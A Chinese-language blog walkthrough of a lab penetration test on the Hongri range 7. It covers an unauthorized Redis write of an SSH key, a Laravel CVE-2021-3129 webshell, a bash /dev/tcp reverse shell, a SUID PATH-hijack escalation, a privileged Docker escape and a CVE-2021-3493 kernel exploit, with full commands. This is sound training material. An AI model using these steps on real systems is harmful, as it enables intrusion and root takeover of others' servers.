目录
本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程。本篇主要讲解获取Web1外网跳板机、Web2内网1服务器的全渗透流程,设计如下背景色标黄的所有流程。首先通过外网攻击利用Redis未授权漏洞获取Web1跳板机权限,随后以此为跳板对内网Web2服务器进行渗透,先后利用Laravel漏洞获取初始访问权限、通过环境变量提权获取Docker容器内root权限,最后利用特权模式实现Docker逃逸,成功控制宿主机。整个渗透过程涉及信息收集、漏洞利用、权限提升、容器逃逸等多个环节,展示了从外网到内网的完整攻击链。
-
Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问漏洞。
-
Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
-
Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。
-
Web2 (内网1) - 漏洞利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 漏洞。
-
Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
-
Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
-
Web2(内网1)-- 权限提升:通过CVE-2021-3493漏洞提权为root账户。
-
Kali(攻击机)-Web1 (外网跳板机) - 反向代理:使用stoway搭建反向代理连通内网1。
-
PC1 (内网1) - 获取权限: 通过 Web1 跳板,利用OA漏洞写入冰蝎木马进行提权。
-
Web1 (外网跳板机) - MSF获取权限: 通过向Web1上传木马,MSF获取Web1权限。
-
Web2(内网1)-- MSF获取权限:通过向Web2传木马,proxychains MSF获取Web2权限。
-
PC1 (内网1) - MSF获取权限: 通过向PC1传木马,MSF set Proxies socks5获取PC1权限。
-
PC1 (内网1) - MSF信息获取: 搜集密码信息与域信息,获取域管理员账户密码。
-
PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。
-
Kali-Web1-PC1 (内网1) - 反向代理: 使用ew工具搭建二层内网反向代理。
-
PC2 (内网2) - 横向移动: MSF 永恒之蓝漏洞获取权限(走二层代理)。
-
PC(内网2) - 信息收集: 基于MSF收集域信息,定位域控制器,获取域控的账号和密码。
-
DC (内网2) -获取权限:MSF PSexec SMB获取权限(走二层代理)。
一、渗透环境搭建
1、网络拓扑
外部网络:
- Kali攻击机:Vmnet8-192.168.59.128
- DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10
第一层内部网络:
- Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
- PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20
第二层内部网络:
- 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
- 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

flowchart LR
subgraph A [外部网络 VMnet8]
A1[Kali攻击机<br>192.168.59.128]
style A fill:#e1f5fe
end
subgraph B [边界/跳板区]
B1[Web1 跳板机 Ubuntu<br>VMnet8: 192.168.59.141<br>VMnet2: 192.168.52.10<br>存在Redis漏洞]
style B fill:#fff3e0
end
subgraph C [内网1 VMnet2]
C1[Web2服务器 Ubuntu<br>VMnet2: 192.168.52.20<br>192.168.93.10<br>Laravel & Docker]
C2[PC1 Windows<br>VMnet2: 192.168.52.30<br>192.168.93.20<br>通达OA系统]
style C fill:#e8f5e9
end
subgraph D [内网2 VMnet14]
D1[PC2 Windows<br>192.168.93.40<br>存在永恒之蓝漏洞]
D2[DC 域控制器<br>192.168.93.30<br>存在Psexec SMB漏洞]
style D fill:#fce4ec
end
A1 -- "初始攻击<br>Redis漏洞利用" --> B1
B1 -- "横向移动<br>内网1探测" --> C
C1 -- "双网卡跳板<br>通往内网2" --> D
C2 -- "双网卡跳板<br>通往内网2" --> D
2、角色表
本渗透环境包含六个核心角色:位于外网的Kali攻击机(192.168.59.128)作为攻击起点;具备Redis漏洞的Web1跳板机(双网卡59.141/52.10)构成第一层防线突破点;内网1中存在Web2服务器(双网卡52.20/93.10)和PC1办公主机(双网卡52.30/93.20)共同作为通向内网2的桥梁;最终目标为内网2中的PC2(93.40,永恒之蓝漏洞)和域控制器DC(93.30,SMB漏洞),形成由外至内的三层渗透链。
-
外网突破:Kali 利用 Web1 的 Redis 漏洞 (192.168.52.10) 获得首个立足点。
-
内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
-
向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
-
内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
| 节点 | IP地址 | 角色与漏洞 | 渗透路径中的作用 |
|---|---|---|---|
| Kali攻击机 | 192.168.59.128 (Vmnet8) | 攻击发起源 | 从外网发起攻击的起点 |
| Web1跳板机 | 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) | 初始入口 Redis未授权访问漏洞 | 第一层跳板,连接外网与内网1 |
| Web2服务器 | 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) | Laravel应用 & Docker 双网卡网关 | 第二层跳板,连接内网1与内网2 |
| PC1 | 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) | 通达OA系统 双网卡主机 | 辅助跳点,连接内网1与内网2 |
| PC2 (目标) | 192.168.93.40 (Vmnet14) | 存在MS17-010(永恒之蓝)漏洞 | 内网2核心攻击目标之一 |
| DC (目标) | 192.168.93.30 (Vmnet14) | 域控制器,存在Psexec/SMB漏洞 | 内网2最终攻击目标 |
3、网络搭建
(1)网络适配器配置
①修改Web1的网卡配置
将桥接的网卡改为NAT和VMnet2,如下所示。


开启redis服务,如下所示。
redis-server /etc/redis.conf

启动Nginx服务
/usr/sbin/nginx -c /etc/nginx/nginx.conf
注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
②修改Web2的网卡配置
将桥接的网卡改为VMnet2和VMnet14,如下所示。


- sudo service docker start
- sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示。
http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
③修改PC1的网卡配置
将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021
C:\MYOA\bin\AutoConfig.exe



另外,还需关闭这台机器的fw,否则无法访问其8080端口。


注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
(2)配置网段
①编辑虚拟网络编辑器
点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡
将vmnet2网段改为192.168.52.0/24,如下所示。

③ vmnet14网卡
添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集
1、探测存活主机
nmap 192.168.59.0/24 发现ip地址为192.168.59.141,如下所示。
nmap -sn 192.168.59.0/24

2、探测端口
对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81
nmap –A 192.168.59.141

三、Redis渗透
1、生成ssh私钥
在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。
|
# 执行密钥生成命令 ssh-keygen -t rsa |

接下来对ssh-keygen -t rsa交互过程进行详细解析,具体步骤如下所示。
(1)输入密钥文件保存路径
Enter file in which to save the key (/home/user/.ssh/id_rsa):
- 含义:选择私钥和公钥的存储位置
- 建议:直接回车使用默认路径
~/.ssh/id_rsa
(2)设置密钥密码
Enter passphrase (empty for no passphrase):
- 含义:为私钥添加密码保护
- 作用:即使私钥被盗,没有密码也无法使用,生产环境建议设置强密码
(3)确认密码
Enter same passphrase again:
- 含义:重复输入密码确认
2、查看生成公钥文件
进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥(必须严格保密),而~/.ssh/id_rsa.pub是公钥(可以分发),查询公钥内容如下所示。
cat ~/.ssh/id_rsa.pub
|
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali |

3、写入Redis服务器
(1) 直接连接未授权Redis
使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。
redis-cli –h 192.168.59.141

(2)写入SSH公钥获取服务器权限
① 命令详解
接下来利用Redis未授权访问漏洞,通过修改Redis持久化存储路径和文件名,将攻击者的SSH公钥写入目标系统/root/.ssh/authorized_keys文件,从而建立SSH免密认证通道,实现服务器权限的非法获取和持久化控制,具体操作方法如下所示。
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa ......\n\n\n"
save
-
config set dir /root/.ssh/-
config set: 用于动态修改 Redis 服务器的运行配置,而无需重启服务。 -
dir: 这个参数用于设置 Redis 持久化文件(如 RDB 快照)的存储目录。 -
/root/.ssh/: 这是 Linux 系统 root 用户默认的 SSH 密钥存放目录。 -
整体含义: 将 Redis 的数据持久化目录临时修改为系统的
/root/.ssh/目录。这是攻击成功的关键一步,为后续将数据(公钥)写入该目录下的文件做准备。
-
-
config set dbfilename authorized_keys-
dbfilename: 这个参数用于设置 Redis 持久化数据文件的名字。 -
authorized_keys: 这是 SSH 协议的一个关键文件,用于存储被允许无需密码即可登录该用户的所有公钥。 -
整体含义: 将 Redis 的持久化数据文件名设置为
authorized_keys。这样,当 Redis 执行保存操作时,它就会把当前内存中的数据写入到/root/.ssh/authorized_keys这个文件中。
-
-
set marginl "\n\n\n\ssh-rsa ......\n\n\n"-
set: 一个基础的 Redis 命令,用于设置一个键值对。 -
marginl: 这里只是一个随意的键名,攻击者可以使用任何名字。 -
"\n\n\n\ssh-rsa ......\n\n\n": 这是该命令的值,也就是攻击者自己的 SSH 公钥。前后的\n(换行符)是为了确保公钥在authorized_keys文件中独立成行,避免与可能已存在的其他内容混淆,符合该文件的格式要求。 -
整体含义: 在 Redis 的数据库中创建一个键,其值就是攻击者的 SSH 公钥。这个公钥稍后会被保存到
authorized_keys文件中。
-
-
save-
含义: 这是一个 Redis 命令,用于强制将当前数据集立即保存到磁盘。它会触发一个 RDB 快照的创建。
-
在攻击中的作用: 由于前两步已经将保存路径设置为
/root/.ssh/,文件名设置为authorized_keys,所以当执行save时,Redis 就会将内存中的所有数据(包括包含公钥的marginl键)写入到/root/.ssh/authorized_keys文件。这会覆盖掉原有的authorized_keys文件(如果存在的话)。
-
② 注入实操
将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

备注:# 清空当前数据库的所有数据flushdb,# 或者清空所有数据库的数据flushall.
4、ssh连接
ssh root@192.168.59.141 -i ~/.ssh/id_rsa

为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。

5、查看Web1的Nginx配置
在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。
cd /etc/nginx/conf.d/
cat 81.conf
查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web
2服务器的8000端口。


四、Laravel渗透(Web2)
本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。
1、发现Laravel
我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。
http://192.168.59.141:81

2、下载PoC
Laravel编号为 CVE-2021-3129的漏洞是由于 Laravel 调试模式(Debug mode)下使用的 Ignition 组件(版本 < 2.5.2)存在安全缺陷。攻击者通过构造恶意的请求,可以利用组件中的反序列化逻辑缺陷和文件写入操作,最终在目标服务器上实现任意代码执行。我们下载PoC,尝试对其Laravel服务器进行渗透。
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行PoC上传木马
进入PoC所在的目录,执行PoC上传木马,命令如下所示。
python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81
这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

4、下载哥斯拉
由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉
通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。

添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。
webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass

点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。

6、发现Docker环境
通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。

执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。

五、Docekr逃逸(Web2)
1、利用反弹shell交互
(1)Web1监听5555端口
因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。

(2)哥斯拉(Docker)连接5555端口
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
![]()
(3)Web1反弹shell成功(连接Docker)
如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。

2、查找find权限
在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。
find / -perm -u=s -type f 2>/dev/null
如下所示,我们发现/home/jobs/shell文件,这是一个设置了SUID权限的可执行程序,并且其属主是 root。

3、分析/home/jobs/shell文件
(1)file /home/jobs/shell
使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。
file /home/jobs/shell

(2)发现源码文件
由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。
ls -l /home/jobs

使用命令cat /home/jobs/demo.c查看文件内容,具体如下所示。
cat /home/jobs/demo.c

(3)分析源码文件
详细分析demo.c源码文件,该C程序通过setuid(0)和setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令。
-
setuid(0);和setgid(0);- 将进程的用户ID和组ID设置为0(root用户) -
system("ps");- 以提升后的权限执行ps命令查看进程列表 -
通过
#include<unistd.h>包含必要的系统调用头文件
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。

5、环境变量提权
(1)命令详解
我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。
|
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/jobs ./shell |
-
准备恶意程序
-
cd /tmp- 进入可写目录 -
echo "/bin/bash" > ps- 创建一个名为ps的文件,内容为/bin/bash -
chmod 777 ps- 赋予该文件所有用户可执行权限
-
-
劫持系统命令路径
-
echo $PATH- 查看当前系统的命令搜索路径 -
export PATH=/tmp:$PATH- 关键步骤:将/tmp目录添加到PATH环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在/tmp目录下寻找。
-
-
触发执行并提权
-
cd /home/jobs -
./shell- 执行这个SUID程序,
-
(2)实操提权
执行shell后输入id和whoami,如下所示,提权成功。

当 ./shell 被执行时,以下过程在后台发生:
-
由于
shell文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。 -
假设在这个
shell程序的代码中,存在类似system("ps");的调用。它需要执行ps命令。 -
程序会向系统请求:“请帮我运行
ps命令”。 -
系统收到请求后,继承当前Shell的环境变量(包括已被我们篡改的
PATH),开始寻找名为ps的可执行文件。 -
系统按照
PATH的顺序查找:-
首先在
/tmp目录中寻找。 -
立刻找到了我们创建的
/tmp/ps文件。 -
查找停止,系统不会再去
/bin或/usr/bin寻找真正的ps命令。
-
-
系统执行
/tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马ps)也继承了 root 权限。 -
/tmp/ps文件的内容是/bin/bash,因此系统实际执行的是/bin/bash。
6、交互式会话
python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker逃逸准备
(1)特权模式检测
Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着:
- •能力全开:容器将获得 Linux 内核的所有能力。
- •设备访问:容器可以访问主机上的所有设备。
- •安全机制解除:很多安全限制(如 AppArmor、Seccomp)会被禁用
通过cat /proc/self/status | grep CapEff查看能力值,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。
cat /proc/self/status | grep CapEff

(2)查看分区
使用fdisk -l快速查看系统中有哪些磁盘和分区,这是因为攻击者在容器内执行 fdisk -l。由于容器运行在特权模式下,它能够直接看到宿主机的物理磁盘设备。通过fdisk -l获知宿主机磁盘为/dev/sda。
fdisk -l

(3)挂载文件系统
确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。
mkdir /ljn
mount /dev/sda1 /ljn

8、写入ssh密钥进行逃逸
(1)跳板机Web1生成密钥
Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。
ssh-keygen -f ljn

(2)向Web2写入公钥
我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys


(3)Web1连接Web2的ssh成功
Web1使用ssh -i ljn ubuntu@192.168.52.20命令连接宿主机,需要先将ljn秘钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。
chmod 600 ljn #赋予权限
ssh -i ljn ubuntu@192.168.52.20
如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。

六、Web2提权
1、CVE-2021-3493漏洞PoC下载
CVE-2021-3493是Linux内核中的一个高危本地权限提升漏洞,它主要影响Ubuntu系统。攻击者可以利用此漏洞从普通用户权限提升至root权限。
https://github.com/briskets/CVE-2021-3493

2、Web2上创建PoC文件
首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。

3、编译执行PoC提权
首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该漏洞利用程序,通过执行内核级漏洞利用代码实现从普通用户到root权限的本地提权。
gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn


2354

被折叠的 条评论
为什么被折叠?



